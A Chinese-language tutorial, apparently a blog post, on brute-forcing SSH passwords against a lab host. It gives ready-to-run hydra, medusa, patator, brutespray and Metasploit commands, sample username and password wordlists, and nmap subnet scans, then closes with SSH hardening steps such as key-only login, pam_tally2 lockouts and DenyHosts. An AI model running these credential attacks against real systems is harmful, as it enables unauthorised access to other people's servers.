SSH密码暴力破解及防御实战

hydra[海德拉]


1
hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

指定用户破解
1
2
3
4
5
6
7
8
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

root@kali:~# hydra -l root -P passlist.txt 192.168.203.48 ssh

用户列表破解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~# cat userlist.txt 
user
admin
zhuzhuxia
deng
chen
xiaowei
root
aclie
jack
root@kali:~# cat passlist.txt
1234567
admin
root
redhat
dengxin
user
qwer1234
qwert
hahah
2333
toor

root@kali:~# hydra -L userlist.txt -P passlist.txt 192.168.203.48 ssh


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
常用参数:
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。

Medusa[美杜莎]

1
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。不同是,medusa的稳定性相较于hydra要好很多,但其支持的模块要比hydra少一些。
语法参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address //目标主机名称或者IP地址
-H [FILE] : File containing target hostnames or IP addresses //包含目标主机名或者IP地址文件
-u [TEXT] : Username to test //测试用户名
-U [FILE] : File containing usernames to test //包含测试的用户名文件
-p [TEXT] : Password to test //测试密码
-P [FILE] : File containing passwords to test //包含测试的密码文件
-C [FILE] : File containing combo entries. See README for more information. //组合条目文件
-O [FILE] : File to append log information to //日志信息文件
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username) //n代表空密码,s代表为密码与用户名相同
-M [TEXT] : Name of the module to execute (without the .mod extension) //模块执行名称
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.) //传递参数到模块
-d : Dump all known modules //显示所有的模块名称
-n [NUM] : Use for non-default TCP port number //使用非默认的TCP端口
-s : Enable SSL //启动SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3) //重试间隔时间
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-c [NUM] : Time to wait in usec to verify socket is available (default 500 usec).
-t [NUM] : Total number of logins to be tested concurrently //设定线程数量
-T [NUM] : Total number of hosts to be tested concurrently //同时测试的主机总数
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding. //并行化,每一个用户使用一个线程
-f : Stop scanning host after first valid username/password found. //在任何主机上找到第一个账号/密码后,停止破解
-F : Stop audit after first valid username/password found on any host. //在任何主机找到第一个有效的用户名/密码停止审计
-b : Suppress startup banner
-q : Display module's usage information //显示模块的使用信息
-v [NUM] : Verbose level [0 - 6 (more)] //详细级别(0-6)
-w [NUM] : Error debug level [0 - 10 (more)] //错误调式级别(0-10)
-V : Display version //显示版本
-Z [TEXT] : Resume scan based on map of previous scan //继续扫描上一次
破解SSH密码
1
root@kali:~# medusa -M ssh -u root -P passlist.txt -h 192.168.203.48

patator

1
Patator 强大的命令行暴力破解器
可用模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@kali:~# patator -h
Patator v0.7 (https://github.com/lanjelot/patator)
Usage: patator module --help

Available modules:
+ ftp_login : Brute-force FTP
+ ssh_login : Brute-force SSH
+ telnet_login : Brute-force Telnet
+ smtp_login : Brute-force SMTP
+ smtp_vrfy : Enumerate valid users using SMTP VRFY
+ smtp_rcpt : Enumerate valid users using SMTP RCPT TO
+ finger_lookup : Enumerate valid users using Finger
+ http_fuzz : Brute-force HTTP
+ ajp_fuzz : Brute-force AJP
+ pop_login : Brute-force POP3
+ pop_passd : Brute-force poppassd (http://netwinsite.com/poppassd/)
+ imap_login : Brute-force IMAP4
+ ldap_login : Brute-force LDAP
+ smb_login : Brute-force SMB
+ smb_lookupsid : Brute-force SMB SID-lookup
+ rlogin_login : Brute-force rlogin
+ vmauthd_login : Brute-force VMware Authentication Daemon
+ mssql_login : Brute-force MSSQL
+ oracle_login : Brute-force Oracle
+ mysql_login : Brute-force MySQL
+ mysql_query : Brute-force MySQL queries
+ rdp_login : Brute-force RDP (NLA)
+ pgsql_login : Brute-force PostgreSQL
+ vnc_login : Brute-force VNC
+ dns_forward : Forward DNS lookup
+ dns_reverse : Reverse DNS lookup
+ snmp_login : Brute-force SNMP v1/2/3
+ ike_enum : Enumerate IKE transforms
+ unzip_pass : Brute-force the password of encrypted ZIP files
+ keystore_pass : Brute-force the password of Java keystore files
+ sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
+ umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
+ tcp_fuzz : Fuzz TCP services
+ dummy_test : Testing module

破解SSH密码
1
2
3
4
5
6
7
8
9
root@kali:~# patator ssh_login --help
Patator v0.7 (https://github.com/lanjelot/patator)
Usage: ssh_login <module-options ...> [global-options ...]

Examples:
ssh_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt -x ignore:mesg='Authentication failed.'

root@kali:~# patator ssh_login host=192.168.203.48 user=root password=FILE0 0=passlist.txt
root@kali:~# patator ssh_login host=192.168.203.48 user=FILE0 0=userlist.txt password=FILE1 1=passlist.txt -x ignore:mesg='Authentication failed.'


BrutesPray

1
2
BruteSpray 是一款基于nmap扫描输出的gnmap/XML文件
自动调用Medusa对服务进行爆破(Medusa美杜莎 是一个爆破工具,速度比Hydra九头蛇快)
Kali端安装
1
2
root@kali:~# apt-get update
root@kali:~# apt-get install brutespray

语法参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-f FILE, --file FILE  GNMAP or XML file to parse //参数后跟一个文件名,解析nmap输出的GNMAP或者XML文件
-o OUTPUT, --output OUTPUT
Directory containing successful attempts //包含成功尝试的目录
-s SERVICE, --service SERVICE
specify service to attack //参数后跟一个服务名,指定要攻击的服务
-t THREADS, --threads THREADS
number of medusa threads //参数后跟一数值,指定medusa线程数
-T HOSTS, --hosts HOSTS
number of hosts to test concurrently //参数后跟一数值,指定同时测试的主机数
-U USERLIST, --userlist USERLIST
reference a custom username file //参数后跟用户字典文件
-P PASSLIST, --passlist PASSLIST
reference a custom password file //参数后跟一个密码字典文件
-u USERNAME, --username USERNAME
specify a single username //参数后跟用户名,指定一个用户名进行爆破
-p PASSWORD, --password PASSWORD
specify a single password //参数后跟密码,指定一个密码进行爆破
-c, --continuous keep brute-forcing after success //成功之后继续爆破
-i, --interactive interactive mode //交互模式
-m, --modules dump a list of available modules to brut //将可用模块列表转储到brut
nmap扫描
1
2
3
4
root@kali:~# nmap -V 192.168.203.0/24 -oX namp.xml
root@kali:~# nmap -A -p 22 -v 192.168.203.0/24 -oX 22.xml
root@kali:~# nmap -sP 192.168.203.0/24 -oX namplive.xml
root@kali:~# nmap -sV -O 192.168.203.0/24 -oX nampO.xml

字典爆破SSH
1
root@kali:~# brutespray --file 22.xml -u root -P passlist.txt --threads 5 --hosts 5 -c


1
root@kali:~# cat /root/brutespray-output/22-ssh-success.txt

MSF

1
Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编写语言编写的,并带有由C预言,汇编程序和Python编写的可选组件。
SSH模块
1
2
root@kali:~# msfconsole
msf5 > search ssh

SSH用户枚举
1
2
3
4
5
6
msf5 > use auxiliary/scanner/ssh/ssh_enumusers 
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.203.48
rhosts => 192.168.203.48
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt
USER_FILE => /root/userlist.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run

这里测试的枚举用户列表中全部存在,感觉有问题

SSH版本探测
1
2
3
4
msf5 > use auxiliary/scanner/ssh/ssh_version 
msf5 auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.203.48
rhosts => 192.168.203.48
msf5 auxiliary(scanner/ssh/ssh_version) > run

暴力破解
1
2
3
4
5
6
7
8
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.203.48
rhosts => 192.168.203.48
msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
USER_FILE => /root/userlist.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
PASS_FILE => /root/passlist.txt
msf5 auxiliary(scanner/ssh/ssh_login) > run

暴力破解防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1、useradd shell
root@kali:~# useradd test -s /sbin/nologin
不需要的用户

2、密码的复制性
字母大小写+数字+特殊字符+20位以上+定期更换

3、修改默认端口
/etc/ssh/sshd_config
Port 22222

4、限制登录的用户或组
#PermitRootLogin yes
AllowUsers xiaowei

选项:AllowUsers AllowGroups DenyUsers DenyGroups

5、使用sudo
#visudo

6、设置允许的IP访问
/etc/hosts.allow 例如:sshd:192.168.203.17:allow
PAM基于IP限制
iptables/firewalld

7、使用DenyHosts自动统计,并将其加入到/etc/hosts.deny

8、基于PAM实现登录限制
模块:pam_tally2.so
功能:登录统计
示例:实现防止对sshd暴力破解
vim /etc/pam.d/sshd
auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=30 unlock_time=30

9、禁止密码改用公钥认证方式
/etc/ssh/sshd_config
PasswordAuthentication no

10、保护xshell导出会话文件

11、GRUB加密[针对本地破解]

#慎用:auth sufficient pam_rootok.so
-本文结束感谢您的阅读-